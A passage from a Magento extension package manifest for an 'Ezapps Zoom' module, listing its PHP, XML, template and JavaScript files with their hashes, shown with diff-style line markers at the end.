hash="016f6c4ae87de6a98b0d00d21e17cf71"/><file name="system.xml" hash="8f6c0a8a38734a12f9bb3bba18bd6f85"/></dir><dir name="sql"><dir name="ezzoom_setup"><file name="mysql4-install-0.1.0.php" hash="63a89604c0ea43b1a28c8b26f9162a6e"/><file name="mysql4-upgrade-0.1.0-1.0.0.php" hash="57c130b93a3351029dabc377f6e30c59"/><file name="mysql4-upgrade-1.0.0-1.0.1.php" hash="d4f314a3379a2527e7ddd67be9bae5ae"/></dir></dir></dir><dir name="Tools"><dir name="Block"><dir name="Adminhtml"><dir name="Dashboard"><file name="Diagrams.php" hash="5ffa3bf435f4c6e1907e1d70e6e69705"/></dir></dir></dir><dir name="Helper"><file name="Data.php" hash="263cac5371ca195617c819d123a414ba"/></dir><dir name="Model"><file name="Feed.php" hash="fce9f3957e6807689a3777c6a794dcff"/><file name="Observer.php" hash="5bdd5ac6fab2040e1fade493acc8e0ac"/></dir><dir name="etc"><file name="config.xml" hash="1068f96fac68fc2e99002dd791cb481c"/><file name="system.xml" hash="beb6cd0ff0d02d69a3500a4b3fda2b58"/></dir></dir></dir></target><target name="mage"><dir name="app"><dir name="etc"><dir name="modules"><file name="Ezapps_Zoom.xml" hash="6a2c922f7842fbceaf8625badcb7c42d"/><file name="Ezapps_Tools.xml" hash="098bd9ed80008805a76d1646c111a9d6"/></dir></dir><dir name="design"><dir name="adminhtml"><dir name="default"><dir name="default"><dir name="layout"><file name="ezzoom.xml" hash="3690a0172108a4bb81e9deb58cf48bcc"/></dir><dir name="template"><dir name="ezzoom"><dir name="dashboard"><file name="graph.phtml" hash="83bd09191602e5b99cc0e7966bcbb7d2"/></dir></dir></dir></dir></dir></dir><dir name="frontend"><dir name="base"><dir name="default"><dir name="layout"><file name="ezzoom.xml" hash="bf8e6701c60abc23e0fa511b6ef4dfb0"/></dir><dir name="template"><dir name="ezzoom"><dir name="ajax"><file name="footer.phtml" hash="fb636938fa52a0d485edc24ba2c7b757"/></dir></dir></dir></dir></dir></dir></dir></dir><dir name="js"><dir name="ezapps"><file name="ezzoom.js" hash="c2ee3b97eb3df676458298f8ad9c7933"/></dir></dir><dir name="."><file name="ezzoom.php" hash="b8a08b253c989f2b496b425d13582c35"/></dir></target></contents>
|
16 |
+
<compatible/>
|
17 |
+
<dependencies/>
|
18 |
+
</package>
|